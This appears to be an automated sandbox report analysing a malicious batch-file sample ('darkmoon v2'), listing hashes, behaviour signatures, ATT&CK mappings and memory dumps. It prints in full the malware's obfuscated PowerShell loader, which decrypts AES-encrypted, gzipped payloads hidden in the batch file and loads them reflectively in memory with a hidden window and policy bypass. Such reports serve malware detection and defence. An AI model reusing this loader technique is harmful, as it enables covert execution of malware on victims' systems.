2a6a28e5ec050a9039d62bf2cd0075df7324ebb9e3c9130ca417c8381796445e

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
02-06-2024 15:40

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General

Target

darkmoon v2/lib/AyBYMBjlvU.bat
Size

12.6MB
MD5

8e3d8ed6db7cb979d5d56c8b847cc965
SHA1

5d1ad752a988ce13da601448cdca5584610cffee
SHA256

9d0b440b61b239bc3406d67bf7ae8baf1ceef65923e8558ce3a3c1a3c4a5e22a
SHA512

d7a96420b1e61c4bc7db6c533704771e329239629201dbf34ac8a95a931da92c6e1d7ddb694a491656246b0eb491e96d194b7abccf54ef757c1aea92a9b96a0e
SSDEEP

49152:Hq8mcjsXbvlusR48pNIN/I/EiFTPbYWLP17DFNkKuri3NSbkpXYyr7arOR150kFB:o

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

AyBYMBjlvU.bat.exe

pid process

2188 AyBYMBjlvU.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

2432 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

AyBYMBjlvU.bat.exe

pid process

2188 AyBYMBjlvU.bat.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

AyBYMBjlvU.bat.exe

description pid process

Token: SeDebugPrivilege 2188 AyBYMBjlvU.bat.exe

pid	process
2188	AyBYMBjlvU.bat.exe

pid	process
2432	cmd.exe

pid	process
2188	AyBYMBjlvU.bat.exe

description	pid	process
Token: SeDebugPrivilege	2188	AyBYMBjlvU.bat.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2432 wrote to memory of 2188	2432	cmd.exe	AyBYMBjlvU.bat.exe
PID 2432 wrote to memory of 2188	2432	cmd.exe	AyBYMBjlvU.bat.exe
PID 2432 wrote to memory of 2188	2432	cmd.exe	AyBYMBjlvU.bat.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2432

C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
"AyBYMBjlvU.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function PCvVf($yFrQM){ $KryQB=[System.Security.Cryptography.Aes]::Create(); $KryQB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $KryQB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $KryQB.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('mWxz9LOIFbVN1/7cN9UWMlncfIJFIhU1cXRWWiP9bXg='); $KryQB.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EIdWPSRydSjZkTvenqbEOg=='); $TSyON=$KryQB.CreateDecryptor(); $return_var=$TSyON.TransformFinalBlock($yFrQM, 0, $yFrQM.Length); $TSyON.Dispose(); $KryQB.Dispose(); $return_var;}function DJYpo($yFrQM){ $rdKbv=New-Object System.IO.MemoryStream(,$yFrQM); $nDivC=New-Object System.IO.MemoryStream; $KhHzB=New-Object System.IO.Compression.GZipStream($rdKbv, [IO.Compression.CompressionMode]::Decompress); $KhHzB.CopyTo($nDivC); $KhHzB.Dispose(); $rdKbv.Dispose(); $nDivC.Dispose(); $nDivC.ToArray();}function mCQbd($yFrQM,$cFYDO){ $nHpHM=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$yFrQM); $KnSYu=$nHpHM.EntryPoint; $KnSYu.Invoke($null, $cFYDO);}$PdisG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat').Split([Environment]::NewLine);foreach ($gyYDO in $PdisG) { if ($gyYDO.StartsWith('SEROXEN')) { $UdMrg=$gyYDO.Substring(7); break; }}$ekLHX=[string[]]$UdMrg.Split('\');$HlrJz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[0])));$ejeLz=DJYpo (PCvVf ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ekLHX[1])));mCQbd $ejeLz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));mCQbd $HlrJz (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2188

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

\Users\Admin\AppData\Local\Temp\darkmoon v2\lib\AyBYMBjlvU.bat.exe
Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/2188-5-0x000007FEF60DE000-0x000007FEF60DF000-memory.dmp

Filesize
4KB

Download
memory/2188-7-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-6-0x000000001B290000-0x000000001B572000-memory.dmp

Filesize
2.9MB

Download
memory/2188-9-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-8-0x0000000002730000-0x0000000002738000-memory.dmp

Filesize
32KB

Download
memory/2188-11-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-10-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-12-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download
memory/2188-13-0x000007FEF5E20000-0x000007FEF67BD000-memory.dmp

Filesize
9.6MB

Download